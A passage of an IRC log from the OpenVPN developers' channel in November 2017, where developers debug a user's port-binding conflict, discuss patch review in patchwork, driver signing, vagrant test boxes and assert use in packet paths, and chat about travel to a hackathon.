related to TLS errors - --multihome either works, or not, and on our current platforms it works everywhere except NetBSD/IPv4 15:44 < tincantech> I can ask for ifconfig if that would help .. 15:44 < tincantech> asking anyway 15:44 <@dazo> yeah, makes sense 15:44 <@dazo> might also be worth getting iptables-save dump as well 15:45 <@dazo> (the NAT table is interesting, in this case) 15:47 < tincantech> thanks for your help 15:47 <@dazo> oh ... interesting ... the "Unroutable control packet received from" happens on the Windows client it seems 15:48 < tincantech> yes indeed 15:48 <@dazo> on the server side .... this is alarming 15:48 <@dazo> Nov 8 22:43:07 vps436657 ovpn-server[5570]: TCP/UDP: Socket bind failed on local address [AF_INET][undef]:1194: Address already in use (errno=98) 15:48 <@dazo> that means another process is already listening on the same port 15:48 < tincantech> I know .. see what the log is followed by 15:49 < tincantech> but according top the OP he can connect from 3 other devices 15:49 < tincantech> so it really does sound like a combination of cock ups ! 15:49 <@dazo> those other devices may actually get a valid connection to the already running process 15:50 <@dazo> notice the PID numbers in the log line too 15:50 <@dazo> Nov 8 22:43:07 vps436657 ovpn-server[5570]: Closing TUN/TAP interface 15:50 <@dazo> Nov 8 22:43:14 vps436657 ovpn-server[5081]: MULTI: multi_create_instance called 15:51 <@dazo> so the one getting the connection is PID 5081 ... which is typically older than the one shutting down 15:51 < tincantech> oh .. that is pid .. that screams systemd restarting on failure or some such .. seven seconds sounds about right 15:52 <@dazo> nah ... I don't buy that one ... it would never start the same config twice 15:53 <@dazo> If it is the restart mechamism, something has have been started manually outside of the systemd scope ... which conflicts on the port numbers 15:54 < tincantech> ok .. well what ever it is .. we can see the PID change so that is trhe place for me to dig into .. thanks for your help .. you are welcome to comment any time btw :) 15:55 <@dazo> yeah, trying to get my act together so I can be packed and ready for Germany tomorrow :) 15:55 < tincantech> "has have been" .. has been infact ;) 15:56 < tincantech> enjoy the hack ! 15:57 <@dazo> hehe ...thx! (esp for grammar typo) 15:58 < tincantech> It's like the Heisenberg's uncertainty principle .. I don't mean to change you but by commenting the effect cannot be stopped :D 15:59 <@dazo> :-D 21:13 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 250 seconds] 21:20 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 21:20 -!- mode/#openvpn-devel [+o dazo] by ChanServ 21:50 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 21:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Nov 09 2017 00:15 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds] 00:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 00:18 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+v krzie] by ChanServ 00:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 00:20 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 00:22 -!- Netsplit *.net <-> *.split quits: +krzee 00:30 <@ordex> ah! 00:30 <@ordex> syzzer: I got a chance to review your patches :) sorry for the delay! 01:40 <@cron2> ah, dang, work for me 02:12 <@cron2> woohoo, ACKs are visible in patchwork! 06:10 <@ordex> cool :) 06:10 <@ordex> what was the problem then cron2 ? 07:18 <@plaisthos> you guys need to show me patchworks on the weekend 07:21 <@syzzer> plaisthos: just register op patchwork.openvpn.net 07:28 <@plaisthos> ah okay 08:08 <@ordex> and it just works :P 08:21 <@cron2> ordex: the ACKs need to be "at the beginning of the line" acked-by: <...> it seems 08:21 <@cron2> it will still not close the patch, but you can see the ACK in the tabular view 08:22 <@ordex> cron2: aah 08:22 <@ordex> :) 08:22 < openvpn-slack> <johan> yo. anyone at the blaue reiter hotel yet? :P 08:22 <@syzzer> hehe, patchwork does get lost a bit when sending 'v2' patches of pre-patchwork mail threads: " Untitled series #35 " 08:23 <@cron2> I'll arrive tomorrow 08:23 <@cron2> syzzer: oh, fun 08:23 <@ordex> johan: I arrived this morning 08:23 <@ordex> I went around freezing until lunch time :P 08:23 <@ordex> and had lunch one hour ago 08:23 <@ordex> :P 08:23 < openvpn-slack> <johan> oh huh. where you at? i'm in 122 08:23 <@ordex> well, you didn't ask for all this 08:23 <@ordex> I am above! 08:24 < openvpn-slack> <johan> 222? 08:24 < openvpn-slack> <johan> i'll grab the broomstick 08:24 <@ordex> 223 08:24 < openvpn-slack> <johan> alright. finishing up some shit i have to do and then i'll drop by 08:25 <@ordex> k 08:25 < openvpn-slack> <johan> the drag of users requiring supports follows me into this circle of hell 08:25 <@ordex> eheh 09:51 < openvpn-slack> <johan> amazingly i survived the meeting 10:30 < openvpn-slack> <johan> also ordex has butts on his hotel room wall 10:48 <@plaisthos> cron2: I am packing my bag, do you want to have a look at the logic analyzers? If not I would leave them at home 10:56 <@cron2> plaisthos: dazo wanted to look 10:56 <@cron2> I'll take along my xminilab portable 11:02 <@plaisthos> dazo: then the question is for your 11:08 <@ordex> we have lost track of dazo :P 11:30 <@plaisthos> according to the list he should arrvie in the evening today 11:31 <@plaisthos> so you guys have lost him literary? 11:33 <@ordex> I never found him 11:34 <@ordex> so not sure I can say I lost him 11:34 <@ordex> :) 11:47 < openvpn-slack> <johan> well if he arrives it will probably take him 3 hours just to get wifi working 11:47 < openvpn-slack> <johan> so i guess we'll see him online EVENTUALLY 11:48 <@ordex> :D 11:48 <@ordex> hopefully by Monday 11:57 <@plaisthos> is the wifi in your hotel so complicated? 11:57 <@plaisthos> but then again dazo has free mobile roaming and should be able to connect via his phone if everything else fails 12:07 < openvpn-slack> <johan> lol 12:07 < openvpn-slack> <johan> nah its simple 12:08 < openvpn-slack> <johan> just took me a minute to realize the code was on a receipt 12:13 <@cron2> so is the hotel wifi any good? does openvpn work? does it have v6? 12:16 * cron2 won this round of "hey, openvpn has tweakable flag for this!" against jjk :-) 12:19 < openvpn-slack> <johan> wifi is reasonably reliable, openvpn works 12:19 < openvpn-slack> <johan> bit slow but not 90's 56k6 modem type slow 12:20 < openvpn-slack> <johan> for a hotel the wifi is good. 12:20 <@plaisthos> so in general term, not god but usable :D 12:21 < openvpn-slack> <johan> no ipv6 ip detected 12:21 <@plaisthos> (hotel wifis like that are reason that I have 10 GB mobile data per month) 12:21 < openvpn-slack> <johan> well let's put it this way, i am content using this wifi instead of using my data bundle even if i have 7gb to blow on it 12:22 <@plaisthos> ah ;0 12:23 <@plaisthos> ah ;0 12:57 <@cron2> my wifi has v6 :) 12:57 <@cron2> (uh, it has, but that was missing the point - my *mobile* 3g/4g has v6) 14:24 < tincantech> https://www.youtube.com/watch?v=ztZfSobIS-Q 22:48 < jpwhiting> hey all, trying to use a self signed certificate to sign tap-windows6 build with a tweaked name like the docs say should be easy 22:48 < jpwhiting> SignTool keeps saying there's an error IsDiskFile() failed though 22:48 < jpwhiting> using winddk 7600 22:49 < jpwhiting> do I need to generate my self signed cert some other way for SignTool to recognize it or something? 23:07 < jpwhiting> if I try to use windows 10 ddk by changing paths.py it complains that it can't run a program called "C:\Program" choking somewhere on the spaces in c:\Program Files (x86)\Windows Kits\10 I guess :/ 23:07 < jpwhiting> stupid windows --- Day changed Fri Nov 10 2017 01:56 <@cron2> good morning 01:56 <@cron2> so did you find dazo? :) 02:04 <@ordex> yes 02:04 <@ordex> he "appaeared" 02:04 <@ordex> :D 02:04 <@ordex> in all his brightness 02:05 <@cron2> an apparition! ghost dazo \o/ 02:05 <@ordex> :D 02:05 <@ordex> nobody can step anymore on the tile where he appeared 02:05 <@ordex> cron2: are you on your way ? 02:05 <@cron2> yep, train... 02:06 <@cron2> but karlsruhe is too far in the woods, so I won't arrive before ~12:30 or so 02:06 <@ordex> oky 02:07 <@ordex> then you have to catch a tram, swim between crocodiles, and jump out of a cliff 02:07 <@ordex> the hotel is at the bottom of the cliff 02:07 * cron2 had to feed underage monsters this morning, so I'm not scared 02:07 <@ordex> ahah 02:22 <@plaisthos> :D 02:22 <@cron2> plaisthos: what time will your train arrive (in'sh allah)? 02:22 <@plaisthos> cron2: when exactly do you arrive? I am at 11:58 am at the central station 02:23 <@cron2> lol 02:23 <@cron2> my ticket says "12:37 at Karlsruhe Hbf" so my 12:30 estimate was a bit too optimistic 02:24 <@cron2> this is a bit of a journey... ICE to Stuttgart, IC to Vaihingen, RE to Karlsruhe, Tram to d12fk 02:27 <@ordex> :D 02:28 <@cron2> overall travel time door to door: ~5 hours. I think Delft (NL) might have been quicker... :-) 02:28 <@plaisthos> re to kassel, hall of winds, ice to Karlsruhe, RE to d12fk 02:29 <@plaisthos> but I am not waiting 45 minutes or you in the central station 02:29 <@cron2> nah, please journey onwards 02:30 <@cron2> right now it somewhat looks like I'm not make it on time anyway... we're maybe travelling 30 km/h... where we should be making 150+ 02:43 <@cron2> 64 bytes from 195.30.0.2: icmp_seq=567 ttl=56 time=44294 ms 02:44 <@plaisthos> long long time ping 02:44 <@plaisthos> the Wifi on my ICE is actually usuable 02:44 <@plaisthos> even the remote irssi chat terminal here 02:44 <@cron2> most of the time is good, but there are too many hills here 03:04 <@cron2> where's syzzer stuck now? 03:07 <@plaisthos> a year ago, I would say he is on a train and has no wifi but with EU roaming that excuse that not work anymore 03:14 <@ordex> :D 03:14 <@ordex> right 04:06 <@cron2> Stuttgart coming... changing trains, 2nd time... 04:12 <@d12fk> cron2: you're doing it wrong =) 04:14 <@d12fk> 6:09 and 6:46 were direct trains from munich to karlsruhe 04:15 <@d12fk> nobody wants to exit at vaihingen =) 04:19 <@plaisthos> what is vaihingen? 04:19 <@d12fk> exactly =) 04:20 <@plaisthos> the first ting wikipedia tells me about vaihingen is that it has a lot of forest area 04:21 <@d12fk> it's swabian void 04:22 <@cron2> d12fk: ICE to stuttgart arrived early, so I skipped the IC and directly jumped to the RE Stuttgart->Karlsruhe! (Same arrival time, of course, but one less change) 04:22 <@cron2> and no, not leaving Munich at 06:whatever 04:23 <@d12fk> i can understand that, but then you get into the Vaihingen situation 04:25 * cron2 wonders how he traveled to Karlsruhe last time 04:28 <@syzzer> wifi on the train is almost doable too 04:28 <@cron2> syzzer: where are you right now? 04:29 <@syzzer> uh, somewhere between Köln und Karslruhe 04:29 <@cron2> oh, much more reasonable path 04:29 <@cron2> what's your arrival time in KA? 04:30 <@syzzer> train claims 267 km/h 04:30 <@syzzer> 13:16 (Durlach) 04:32 <@syzzer> oh, 281 km/h now even (no decent high speed trains in NL, so I'm enjoying it :p ) 04:33 <@cron2> I'm in a "regional express", which is the german nicespeak for a stoptrein 04:33 <@syzzer> haha, they call those "sprinters" now in NL... 04:33 <@syzzer> marketing :') 04:37 <@plaisthos> same as our oxymoron of regional express 04:38 <@cron2> our "sprinter" actually made sense - that was an ICE line Munich->Frankfurt that bypassed Stuttgart, saving like 20 minutes that way 04:54 <@cron2> vaihingen 04:58 <@d12fk> after all... =) 05:01 <@cron2> stopping in the middle of nowhere because of a Signalstörung 05:08 <@d12fk> a true deutsche bahn experience you get there =P 05:09 <@cron2> nah, arriving 5 minutes early in Stuttgart is not true DB 05:09 <@d12fk> we'll not leave for dinner until you're here 05:09 <@cron2> I appreciate that 05:15 <@cron2> this area is scary... my android lte thingie which I use as hotspot has just rebooted spontaneously 05:48 * cron2 just got off at Karlsruhe-Durlach... now reorient 06:50 <@cron2> \o/ 06:57 <@syzzer> so I found a room with a lot of laptops... :-p 07:25 < gertvdijk> o/ 07:32 <@vpnHelper> RSS Update - gitrepo: Use long long to format time_t-related environment variables <https://github.com/OpenVPN/openvpn/commit/6c69693adbda2c6abf44b3430afd9ed22bf9e532> || Cast and print another suseconds_t as long <https://github.com/OpenVPN/openvpn/commit/10f12d2a61a4e2b44fa7dd4d0c32139258aa6aec> 07:40 <@cron2> plaisthos: 2001:608:4::ce:c0f 08:40 <@cron2> ok, so patchwork needs the Acked-by: bit to start right at the beginning of the line 08:40 <@cron2> if it's indented (as in my "ACK, merged" mails) it will ignore them 08:44 <@vpnHelper> RSS Update - gitrepo: Simplify and inline clear_buf() <https://github.com/OpenVPN/openvpn/commit/3280c4c2c7064c0c6719621703f46596212396fd> 09:11 < tincantech> sounds like regexp 09:44 <@d12fk> location for tonight: https://www.badisch-brauhaus.de/kontakt/anfahrt/ 09:44 <@dazo> cron2: have you seen this? http://patchwork.readthedocs.io/en/latest/usage/clients/ 09:44 <@vpnHelper> Title: Anfahrt Parken | BADISCH BRAUHAUS (at www.badisch-brauhaus.de) 09:44 <@vpnHelper> Title: Clients Patchwork 2.0-alpha documentation (at patchwork.readthedocs.io) 10:00 <@cron2> dazo: now I have, but I'm not sure it helps with our workflow 10:02 <@dazo> cron2: it allows retrieving patches and can even apply them locally ... ref our conversation about split mail sending 10:02 <@dazo> but there's also a lot of other fun stuff there too 10:03 <@cron2> "you figure out how to do it and then tell me what I need to do" :-) 17:32 < jpwhiting> is the openvpn certificate used to sign the tap-windows6 adapter driver self signed? 17:33 < jpwhiting> I'm trying to rebuild tap-windows6 here with our own self signed certificate, but signtool complains that there's no cross-certificate 17:33 < jpwhiting> https://docs.microsoft.com/en-us/windows-hardware/drivers/install/cross-certificates-for-kernel-mode-code-signing <-- the instructions here to get a cross-certificate don't seem to work on self-signed certificates, the "View Certificate" button is disabled, I guess because there is no CA in a self signed cert case? 17:33 <@vpnHelper> Title: Cross-Certificates for Kernel Mode Code Signing | Microsoft Docs (at docs.microsoft.com) 17:47 <@dazo> jpwhiting: I'm no Windows developer .... so I can't give an authoritative answer .... but IIRC, the tap-windows6 drivers is singed using a commercial EV certificate; which I believe was needed after Windows 7 or 8 to be functional 17:47 < openvpn-slack> <andrew> we sign it with our EV cert --- Day changed Sat Nov 11 2017 02:55 <@cron2> morning 03:17 <@cron2> ordex: I have tried to summarize our route.c/tun.c discussion of yesterday to https://community.openvpn.net/openvpn/wiki/KarlsruheHackathon2017 03:17 <@vpnHelper> Title: KarlsruheHackathon2017 – OpenVPN Community (at community.openvpn.net) 03:18 <@cron2> can you verify that this is as you remember it (or update what I misremembered, or what is unclear)? 03:18 <@ordex> cron2: sure, thanks 03:18 <@ordex> for the summary 03:20 <@ordex> cron2: looks good! 04:29 < gertvdijk> what are you guys using for editing the manpage (doc/openvpn.8)? the hard way by hand? I've tried gmanedit, but it doesn't understand ours. Couldn't find any reasonable alternative. 04:31 * ordex uses vim 05:07 <@cron2> vim :) 05:07 <@cron2> (and nobody ever updates the man page :-( ) 05:59 <@syzzer> yup, vim 08:20 <@dazo> emacs! 08:21 <@syzzer> uh-oh. time to hide. 08:30 <@cron2> whee, "2 1 -" on patchwork :) 08:39 <@ordex> :D 08:40 <@d12fk> dinner tomight happens 20h at http://www.charles-oxford.de/ 08:40 <@vpnHelper> Title: Charles Oxford Karlsruhe GmbH (at www.charles-oxford.de) 08:43 <@vpnHelper> RSS Update - gitrepo: Remove warning on pushed tun-ipv6 option. <https://github.com/OpenVPN/openvpn/commit/7a216d9dba558281d4b6a04124912081a79fcb88> 14:49 < kitsune1> https://www3.lenovo.com/medias/mso-2016-hb-updated.png?context=bWFzdGVyfHJvb3R8NzYyNXxpbWFnZS9wbmd8aDU1L2g2MS85NDY1OTAyNDY1MDU0LnBuZ3wwY2ZiNWY3Nzc2MWI2YTdmYjdkZWU4ODkwYWM1NDNhYzlmMzBmNmQwYmE0Yjk1MTJkOGJlNTcwMTllMjBjMjUw 16:34 <@cron2> *burp* 16:37 <@cron2> so, my intermediate status regarding vagrant is: yeah, this is full of great promises 16:38 <@cron2> one out of four VMs worked... OpenBSD is good. NetBSD needs nfs on the Host. FreeBSD box is borked, and sudo crashes. OpenSolaris box has the wrong credentials set, so vagrant can't get in. 16:38 <@cron2> yay 16:39 <@ordex> mh...sounds like we need quite some work to get where we wanted .. 16:40 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:40 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 16:42 <@mattock2> fyi: d12fk will be at Sophos at 9:00 tomorrow 16:43 <@ordex> mattock2: are you back already ? 16:44 <@ordex> :P 16:45 <@cron2> FreeBSD might actually work, but the .box needs working Internet for initial setup (because it wants to update itself to "current patch level", and that needs to download some 1120 files...) 16:45 <@cron2> let's see if sudo works now... :) 16:47 <@mattock2> we're having drinks actually 16:47 <@ordex> aha! 16:48 <@mattock2> nobody had sex on the beach unfortunately 16:51 <@cron2> much too wet and cold to have anything on the beach tonight 16:51 <@mattock2> I agree 16:57 <@cron2> sudo still core dumping... upgrading packages from "quarterly" to "latest"... 17:02 <@cron2> something is really phishy with that FreeBSD box 17:03 <@cron2> sudo is loaded "from upstream" just fine, checksum verifies, still core dumps 17:03 <@cron2> never had that on any of my machines 17:05 <@ordex> can you strace to see if you get any hint ? 17:07 <@cron2> it dlopens "sudoers.so" and then SIGSEGV 17:07 <@cron2> (did that 10 minutes ago :) ) 17:08 <@cron2> I will now do which I was afraid (... but assumed) would happen - downloading a .iso, building my own .box 17:12 <@mattock2> cron2: good luck! now whenever we need a new vagrant box we will know who to ask to do it :) 17:13 <@cron2> *grumble* 17:14 <@cron2> need to sleep now 17:18 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] --- Day changed Sun Nov 12 2017 03:24 <@dazo> cron2: https://stackoverflow.com/questions/7467910/with-autoconf-automake-how-do-i-specify-include-file-paths ... look at the comment mentioning config.site 03:24 <@vpnHelper> Title: makefile - With autoconf/automake, how do I specify include file paths? - Stack Overflow (at stackoverflow.com) 03:36 <@ordex> plaisthos: fe80::/64 are link-local addresses, which is probably what you should use as fake address. the last 64 significant bits are normally chosen from the "modified EUI-64" MAC address of the interface. I'd suggest you come up with a random mac address having the "locally administered bit" set and then compute a link-local address based on it. This should make the address unique enough[tm] 03:36 <@ordex> cron2: ^^ makes sense? 03:55 <@syzzer> https://community.openvpn.net/openvpn/wiki/SupportedVersions 03:55 <@vpnHelper> Title: SupportedVersions – OpenVPN Community (at community.openvpn.net) 04:26 <@cron2> ordex: fe80::7 is just fine 04:27 <@cron2> it only has to be unique *on that link*, which has nothing else on it, so it's unique by definition 04:27 <@cron2> dazo: thanks, putting away for later reading 04:28 <@ordex> cron2: right, because we are talking about link local addresses. And for tun link local is just the same host 04:28 <@ordex> plaisthos: ^^ 04:31 <@cron2> mattock: you have mail (vagrant netbsd-7 is done!) 04:41 <@mattock> cron2: changed pushed to GitHun 04:41 <@mattock> GitHub :) 07:20 <@cron2> re... quite a bit of liquid sun on my way to the train station... *drip* 07:22 <@ordex> :D 07:23 <@ordex> it looks like the liquid sunshine stopped here :P 07:26 <@cron2> yeah, I took it all 07:27 <@ordex> :D thanks! 08:12 <@cron2> 50 minute stopover in Stuttgart... but: DB Lounge access! (since I have a 1st class ticket...) 08:24 <@ordex> :D 08:24 <@ordex> you ugly VIP! 08:24 <@ordex> why do we have stuff like this in the code: 08:24 <@ordex> 2239 frame_add_to_extra_frame(&c->c2.frame, +3); /* peer-id overhead */ 08:24 <@ordex> +3 ? 08:24 <@ordex> '3' was not enough? :P 08:26 <@cron2> peer-id needs +3 08:26 <@cron2> it's just the way it is, 3 is not additive enough :) 08:26 <@cron2> (ask lev...) 08:27 <@ordex> :D 08:29 <@cron2> yay, so we need a v6 of that patch... is that new record, like, v1->v2 taking 6 months, and then 5 versions in a single day? 08:30 <@ordex> :D 08:30 <@ordex> this is the patchathon of the last day :P 08:31 <@ordex> what's the highest vX ever reached? :D 08:32 <@cron2> peer-id might have taken like v7 08:34 <@cron2> e8e1377d0 has v5, 65eedc (peer-id) indeed had v7 08:34 <@cron2> so, syzzer & ordex, one more round to go... 08:34 <@ordex> hehe 08:34 <@ordex> we can do it ! 08:34 <@ordex> aaah my patch has '1 1 1' in patchwork now! 08:34 <@ordex> :d 08:34 <@ordex> :D 08:34 <@cron2> \o/ 09:33 <@cron2> argh, vagrant 09:34 <@cron2> "hey, piece of sh*t, I have not given you permission to create $HOME/.vagrant.d, nor to stuff downloaded gigabytes in there without telling me, *nor* to use a hidden directory to hide the gbytes from sight!" 09:35 <@cron2> if I run a "download this and do something to it!" software from /largefilesystem/vagrant/ I expect the results to show up there, not on /unrelatedsmallfs/ 10:12 <@cron2> yeah, the solaris box works... 10:12 <@cron2> Sun Nov 12 17:12:04 2017 Entering OpenVPN crypto self-test mode. 10:12 <@cron2> Sun Nov 12 17:12:04 2017 TESTING ENCRYPT/DECRYPT of packet length=1 10:12 <@cron2> Sun Nov 12 17:12:04 2017 TESTING ENCRYPT/DECRYPT of packet length=2 10:12 <@cron2> ./t_lpback.sh: line 48: 8336: Memory fault(coredump) 10:12 <@cron2> (Casper Dik wrote about this on the openvpn-devel list a few months ago) 10:40 <@syzzer> ordex: v6 of tls-cert-profile on the list... 10:40 <@ordex> :D 10:40 <@ordex> good! thanks 10:41 <@syzzer> well, hopefully good this time *-) 10:41 <@cron2> v8 is the goal you need to reach 10:44 <@ordex> :D 10:44 <@cron2> dazo: site.config would be a way to fix from without our configure.ac, but then it will still break for everyone who did not modify his system accordingly (so, is not much better than having /usr/include/lzo -> ../local/include/lzo symlinks) 10:46 <@cron2> but it's not really about "shouldn't it do this automatically on systems where we know the system packager puts lzo2 into /usr/local/ or /usr/pkg/ (NetBSD)" 11:47 <@syzzer> ordex: nooo, almost v7 :') 11:47 <@ordex> ahah 11:48 <@ordex> it was not bad enough :P 11:58 <@ordex> dazo: is it normal that with autoreconf I get lots of cr0p like this: https://nopaste.unstable.cc/?119 ? 11:59 <@ordex> dazo: it is complaining big time that it may break in the future 12:02 <@ordex> any good reason why auth-pam is enabled by default in configure? 12:05 < gertvdijk> ordex: https://sourceforge.net/p/openvpn/mailman/message/35274409/ (automake subdir-objects) 12:05 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 12:06 <@ordex> oh thanks! 13:48 <@plaisthos> so I changed to another train because my first train was 30 minutes late, ended up with the Dutch people, which was nice. But since that train then was 13 minutes I missed the next and now are arriving 1:30h later than originally planned 13:53 <@plaisthos> mattock: if you are online again, can you make me a developer or whatever it is called os I can delege patches to myself for review? 13:55 < gertvdijk> plaisthos: thanks for joining us for a bit in the train. :-) It's very quiet here now, almost all passengers seemed to got off on the same station as you. 13:57 <@plaisthos> oh :) 14:14 < tincantech> ordex: syzzer .. i just made "[Openvpn-devel] [PATCH v6] Add --tls-cert-profile option for mbedtls builds" on Linux:Arch with openssl-1.1.0f .. running both server and client instance now .. all appears ok : https://paste.fedoraproject.org/paste/PMOhXuhe0G-YE4u6NThAnQ 14:22 <@syzzer> tincantech: good to hear, and thanks for testing! 14:43 < tincantech> syzzer: suiteb will not connect to my server .. investigating 14:43 < tincantech> no shared ciphers 14:44 < tincantech> no TLS ciphersuites in common 15:07 <@plaisthos> tincantech: suiteb is ecdsa, so you need client and server certificate also be ecdsa certificates 15:12 <@ordex> tincantech: that's exactly the purpose of that option 15:12 <@ordex> which proves that it works! :) 15:13 < tincantech> plaisthos: thanks .. i was reading back but did not get to the cert .. i'll tr with ec cert 15:13 < tincantech> ordex: yeah .. that is what is was going for ;) 15:14 <@ordex> :) 15:14 <@plaisthos> ordex: I fixed/added server side to my patch :) 15:14 < tincantech> see if it (don't) work ;) 15:15 <@ordex> plaisthos: yeah seen that in your patch changelog :) 15:15 <@ordex> plaisthos: I haven't checked the code, however, my concern was that we should try not to have any assert in the server codepath, to avoid that it can become a future DoS once a bug pops up 15:34 <@cron2> I'm so disappointed in you. ACK at v6, where's the spirit...? Exhausted already? 15:34 <@plaisthos> ordex: I am thinking that an ASSERT that assures that I don't write over the boundaries of the bufer (which should never happen anyway) and exiting hwn that happens is preferrable to overwrite random memory without exiting and having a perhaps more serious remote exploitable bug 15:35 <@ordex> cron2: I did my best, but I thought I should have not made this easy for syzzer to get to v7 at the first attempt 15:35 <@cron2> (and it will take me a week to go through the mass of mail on openvpn-devel to figure out what is the final patch in which thread, and did it get ACKed, ACK-with-commitmessage-changes, ACK-with-reservations, ...) 15:35 <@cron2> but tonight, I'm just exhausted :-) 15:35 <@ordex> plaisthos: you should CC syzzer for that :P 15:35 <@plaisthos> for the ASSERT? :) 15:36 <@ordex> cron2: patchwork can help as it reports also the replies to the various patches, I think 15:36 <@cron2> plaisthos: if there is a remote chance that this is triggered by remote data, we should never ASSERT() 15:36 <@ordex> plaisthos: yes :P 15:36 <@cron2> ordex: it does, but it doesn't understand that v5 supercedes v4 (... I think) 15:36 <@ordex> cron2: right, but today I have been cleaning up patchwork everytime syzzer was annoying us with a new version ;) 15:37 <@ordex> so only the latest versions of the various patches should be in there 15:37 <@plaisthos> cron2: the assert will only be triggered if for some reason outgoing tun/to_link buffer are not able to hold a single 1280 byte packet 15:37 <@cron2> plaisthos: like, the first time one of our stupid users configures --mtu 500 "because someone said that this will improve performance"? 15:38 <@cron2> no ASSERT() in packet paths, please... we've had enough fun with the msg(M_FATAL) on "couldn't determine address familiy" in the --mtu-discovery function 15:38 <@ordex> :-P 15:38 <@ordex> yeah I agree. if any assert condition depends on external factors, it should rather not contain the assert 15:39 <@ordex> not *have 15:39 <@cron2> (syzzer had his share of "something is wrong with the crypto, so do not just drop the packet but drop the whole server!!"...) 15:39 <@ordex> :D 15:39 <@ordex> it's always syzzer's fault 15:39 <@plaisthos> cron2: the ASSERT is there for catching bugs like mtu 500. If I assert there, because if mtu 500 triggers the ASSERT, I would have overwritten random memory and are clearly missing some other condition there 15:39 <@cron2> ... and I had this in mss... :) 15:40 <@cron2> plaisthos: "not overwriting the memory" is good, but ASSERT() is not the right way to recover 15:40 <@cron2> either drop the packet or truncate 15:40 <@plaisthos> cron2: tell that readoming_incoming_link 15:40 <@cron2> (most likely this will never ever happen as it will be TCP SYNs that are small, but anyway) 15:41 <@plaisthos> first thing it does is to assert that the buffer is big enough 15:41 <@cron2> ok, so how can it then trigger the ASSERT()? 15:42 <@plaisthos> should never trigger it 15:42 <@plaisthos> that why it is there 15:42 <@plaisthos> if it gets trigger something is very wrong 15:42 <@cron2> good enough 15:43 <@cron2> ok, anyway, good night 15:43 <@plaisthos> in my function you could recover by just dropping the packet but it is still, a if this ASSERT triggers something has gone terrible wrong 15:43 <@plaisthos> it is more overly defensive programming style 15:43 <@plaisthos> same as syzzer does 16:04 <@ordex> super defensive! 16:04 <@ordex> :) 16:33 <@plaisthos> yeah, I know. 16:34 <@plaisthos> and I just wanted to write a patch to address your concern and always send a packet <= tun-mtu (instead 1280 as the rfc requires) and found out that I already do that 16:47 <@syzzer> !blame 16:47 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 16:47 <@syzzer> that's it for today, sleep! 16:51 <@ordex> :D --- Day changed Mon Nov 13 2017 01:37 <@cron2> mornin 01:50 <@ordex> moin moin 02:08 <@cron2> hah, uploading a VM image from work is so much more fun than from home... 02:08 <@cron2> (100Mbit vs. 1Mbit upload) 02:09 < eworm> :D 02:10 < eworm> My home connection was upgraded from 6Mb/768kb to 100Mb/40Mb some days ago :D 02:12 <@cron2> nice :) - still waiting for that (fiber duct is there, fiber not yet) 02:14 < eworm> vdsl+ here... sadly no fiber 02:15 < eworm> packaging is a lot more fun with fast connectivity. ;) 02:16 <@cron2> and with a fast SSD :) - this laptop is 3 years old, but its SSD was so fast back then that it's still very fast at "just copy over a gbyte" things 02:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 02:19 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 02:31 <@cron2> mattock: you have mail :-) - two new vagrant patches, now with downloadable FreeBSD11 box 02:33 <@ordex> oh nice, cron2: so you made a new (and working) freebsd box ? 02:56 <@cron2> yep 02:57 <@cron2> I had that yesterday already but wanted to wait until I have proper bandwidth before I upload it 02:57 <@cron2> (and then download again, to test) 02:57 <@cron2> as soon as samuli merges that, we have "all linux", freebsd, netbsd, openbsd "ready to go" 02:57 <@cron2> Solaris is "here's a check list how to do it" starting with an .ova download from oracle.com 02:58 <@cron2> ... which will eventually produce a .box which vagrant uses 03:05 <@ordex> oky 03:05 <@ordex> having all those working boxes sounds already pretty good 03:05 <@ordex> any chance we can have a AIX box? :D just for fun 03:05 <@ordex> :D 03:31 <@cron2> not sure if you can run AIX on normal hardware, or one of the "on PC hardware" emulators, and then, I have no idea what the licensing conditions are 03:32 <@cron2> IBM is the company that invented complex per-cpu-per-mhz licensing... 03:37 <@cron2> there's quite a few hits for "run aix on vmware"... *read up* 03:39 <@cron2> oh, there is AIX 1.x which was built for the original PS/2 series, so you can run that 03:39 <@cron2> but it's like 20+ years outdated 03:39 <@ordex> lol 03:39 <@ordex> not sure I should really spend time on that :P but I was curious if that could be even possible 03:41 <@cron2> you've triggered the "now I want to know" button... meh :) 03:41 <@ordex> :D 03:42 <@cron2> there's a few cloud providers that offer AIX VMs 03:43 <@ordex> I think I asked you this already, but I may have forgotten the answer: why do we put so much effort in keeping support for AIX? do any of your customers run openvpn on this platform? or somebody else? 03:45 <@cron2> one of my customers runs AIX and they have systems all over the place - and sometimes "run the vpn from the AIX box itself" is the only way to get things done 03:46 <@ordex> eheh I see 03:46 <@cron2> but "we" actually don't support AIX for real - it's not an officially supported platform, so if you break it, it's the way it is 03:46 <@ordex> yeah 03:46 <@ordex> so the policy is just "let's try not to break it on purpose" :) 04:01 <@cron2> right, but if it gets broken (not *purposely*), I'll just go and repair it 04:03 <@ordex> so kind of you :D 04:03 <@ordex> okok 04:12 <@cron2> ok, there is http://www.polarhome.com/ where you can get an account on an AIX box for 10 local currency units (at least 2 